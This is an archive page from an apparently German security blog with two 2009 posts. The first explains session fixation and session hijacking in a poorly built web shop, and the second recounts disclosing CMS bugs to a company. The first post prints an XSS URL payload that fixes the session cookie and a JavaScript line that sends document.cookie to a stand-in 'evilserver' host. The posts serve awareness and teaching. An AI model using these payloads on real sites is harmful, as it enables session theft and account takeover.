Beiträge vom » September, 2009 «

Session Fixation und Session Hijacking

Dienstag, 29. September 2009, 10:28 Uhr | Autor:

Mal wieder etwas zu den Möglichkeiten, wie Sicherheitslücken ausgenutzt werden können.

Viele Websites benutzen Session-Cookies um einen Besucher zu identifizieren, damit z.B. die in den Warenkorb gelegten Artikel dem Shop-Kunden zugeordnet werden können oder sie werden genutzt um einen registrierten Besucher erkennen zu können.

Den Inhalt eines Session-Cookies (der Teil hinter sID=) zu erraten ist kaum möglich:
Session Fixation 1

Wenn es aber möglich ist, in dem Shop den Inhalt des Cookies vorzugeben?! Ja, dann muss man nicht raten. Per Session Fixation (de.wikipedia.org) kann man den Wert, der im Cookie gespeichert ist, vorgeben.

In dem von mir untersuchten Shop gibt es zwei Möglichkeiten den Session-Cookie zu schreiben.

Zum einen gibt es mal wieder eine Lücke zu Cross-Site Scripting:
http://dau-shop/contact_us
?action=send
&enquiry=</textarea><script>
document.cookie="sID=Cookie_by_Hacker";
</script>

Aber da das Shopsystem sehr schlecht programmiert wurde, gibt es noch eine viel einfachere Möglichkeit:
http://dau-shop/?sID=Cookie_by_Hacker
Hierbei kann man den Cookieinhalt auch per POST senden, damit das Opfer nur die URL http://dau-shop/ in der Adresszeile des Browsers sieht und somit keinen Verdacht schöpfen wird.

Bei der Prüfung eines Session-Cookies machen die Entwickler immer wieder viele Fehler. Es wird z.B. nur nach der Länge des Cookies, oftmals 32 Zeichen, geprüft, aber nicht, ob er überhaupt gültig ist. Oder es wird zwar die Gültigkeit überprüft, aber nicht ob der Cookie am Server einem Besucher zugeordnet ist. In so einem Fall lässt sich der Angreifer einen echten Cookie erzeugen und gibt diesen seinem Opfer mit auf den Weg.

Das von mir untersuchte Shopsystem ist so dumm, da darf der Session-Cookie wirklich einen beliebigen Inhalt haben:
Session Fixation 2


Wenn es nicht möglich sein sollte den Inhalt des Session-Cookies per Session Fixation zu manipulieren, so kann ein Angreifer den Inhalt u.U. per Cross-Site Scripting auslesen und an einen Server senden, der unter seiner Kontrolle steht. Ist dies möglich, so spricht man von Session Hijacking (de.wikipedia.org).

Mit diesem Stückchen Code kann ein Angreifer den Inhalt des Cookies mitlesen:
document.write('<img src="http://evilserver/?'+document.cookie+'" />');

Wenn der Cookieinhalt übermittelt wurde, muss der Angreifer schnell sein, da Cookies i.d.R. eine Ablaufzeit haben, d.h., nach x Minuten wird der Cookie ungültig. Wobei… :O) Es gibt natürlich auch Websites deren Cookieverwaltung so schlecht ist, das Cookies noch nach mehreren Stunden Inaktivität des Besuchers aktiv sind.

Jede Cross-Site Scripting-Lücke die JavaScript zulässt, kann zum Mitlesen von Cookies benutzt werden

Beide Angriffsarten haben die gleichen Folgen.


Wenn ein Angreifer erfolgreich seinem Opfer einen Cookie untergeschoben hat, bzw. den Cookie mitlesen konnte, so kann er sich in deren Warenkorb umsehen. Sobald der Besucher sich in seinen bestehenden Shop-Account einloggt oder sich neu registriert hat, so kann der Angreifer auch dort mitlesen und die persönlichen Daten für seine Zwecke missbrauchen.

In manchen Systemen wird das Passwort im Quelltext der Benutzerseiten angezeigt:
Passwort im Klartext
(Aus einem Social Network.)

Wir vermuten es ja schon…
<input type="password" name="pass" value="mein-passwort" />

Der Angreifer der sich also hier in den fremden Account eingeloggt hat, der kann auch gleich das Passwort notieren, was weitere Angriffe auf das Opfer sehr viel einfacher macht. Und da nach wie vor, sehr viele User immer gleiche Passworte benutzen…


Schon vermeintlich kleine Bugs, wie die fehlerhafte Behandlung von Cookies, kann am Ende dazu führen, dass ein Angreifer den Account seines Opfers übernimmt.

In einem Shop wird das primäre Ziel des Angreifers die persönlichen Daten, wie auch Bankverbindung und Kreditkartendaten, sein. In einem Social Network wird er versuchen, die Reputation seines Opfers dazu zu nutzen, um deren Freunde Fake-Virenscannern unterzuschieben oder sie auf Websites zu locken, auf denen sie anderer Malware vorfinden.


Für fast jede Lücke haben kriminelle Hacker entsprechende Angriffsarten parat und keine Lücke ist zu unbedeutend, um sie nicht irgendwie zu Geld zu machen und sei es nur ein eingebautes Iframe mit Malware oder einer entsprechenden Weiterleitung, zu einer Website die andere Boshaftigkeiten auf Lager hat.

Infektionen von Apple-Rechnern für Kriminelle unprofitabel” (heise.de)

(…) auf denen für infizierte Mac-Systeme 43 US-Cent geboten wurden – Windows-Systeme seien zu diesem Zeitpunkt zwischen 50 und 55 Cent gehandelt worden.

Thema: Sicherheit, XSS | Kommentare geschlossen

Sicherheitslücken? Bei uns ist noch nie etwas passiert!

Dienstag, 22. September 2009, 18:02 Uhr | Autor:

Am vergangenen Sonntag habe ich u.a. einer Firma in Österreich eine E-Mail geschickt, in der ich sie auf zwei Lücken, in dem von ihnen selber entwickelten CMS, hinwies. Eine betrifft mal wieder Cross-Site Scripting und die zweite Lücke ist ein Download-Script, welches es ermöglicht beliebige Dateien runterzuladen. Gestern hat diese Firma sogar geantwortet:

vielen Dank für Ihr E-Mail. Das sind alte, aber ernste Bugs, die nun behoben wurden.

Um XSS-Lücken auszunutzen braucht man schon etwas Zeit und Geduld, entsprechende Verbreitungskanäle, Opfer die verseuchte Links anklicken (reflektives XSS), etc. Aber um ein fehlerhaftes Script zum Download aller Dateien auszunutzen braucht man nur etwas Kenntnis über die Stellen an einem Server, wo sensible Dateien gespeichert sind, hier braucht der Angreifer keine Mithilfe eines Opfers.

Warum lässt eine Firma bekannte Bugs in ihrem eigenen Content Management System über Jahre hinweg ungefixt und verkauft es trotzdem weiter?

Die Firma meint wahrscheinlich, dass noch nie ein Kunde zu Schaden gekommen ist, weil sich bisher kein Kunde beschwert hat. Und nur weil irgendein Korinthenkacker sie nun auf Lücken hingewiesen hat, müssen sie tätig werden – “So ein Mist aber auch.”


Warum sind so viele persönliche Daten unter Kriminellen im Umlauf? Wurden die Millionen von Kreditkartendaten primär durch Einbrüche in die Server der Banken und Kreditkartenunternehmen gewonnen?

Sehr große Firmen sind sich dem PR-GAU bewusst, wenn Kundendaten abhanden kommen. Diese Unternehmen haben das Geld und die Manpower um Angriffe abzuwehren und ihre Systeme so zu gestalten, dass Angreifer nur sehr schwer an sensible Daten gelangen. Die Skandale der letzten Jahre hatten i.d.R. etwas mit dem Überschreiten der Befugnisse zur Datensammlung über Mitarbeiter zutun – sie waren selten Ursache von Sicherheitslücken.

Bei kleinen und mittleren Unternehmen sieht dies vollkommen anders aus. Ein PR-GAU verläuft meist im Sande der regionalen/lokalen Medien und wird erfolgreich ausgesessen. Die IT-Systeme der KMU beinhalten aber Lücken, die einem Angreifer die Tränen des Glücks in die Augen treiben. Der Angreifer bekommt dann zwar nicht, mit einem Hack, die Millionen von Datensätze geliefert, aber dafür so schnell und einfach, das es sich unterm Strich doch wieder lohnt.

Welche Sicherheitslücken in den Systemen der KMU schlummern und wie leicht man an deren Daten kommt, ist den kriminellen Hackern bewusst. Sie wissen auch, dass das Sicherheitsbewusstsein bei dieser Klientel noch nicht richtig ausgebildet ist. So lange wie ein Unternehmer die Lücken nicht im eigenen Portemonnaie bemerkt, so lange sind sie für ihn nicht vorhanden.

Thema: Sicherheit | Kommentare geschlossen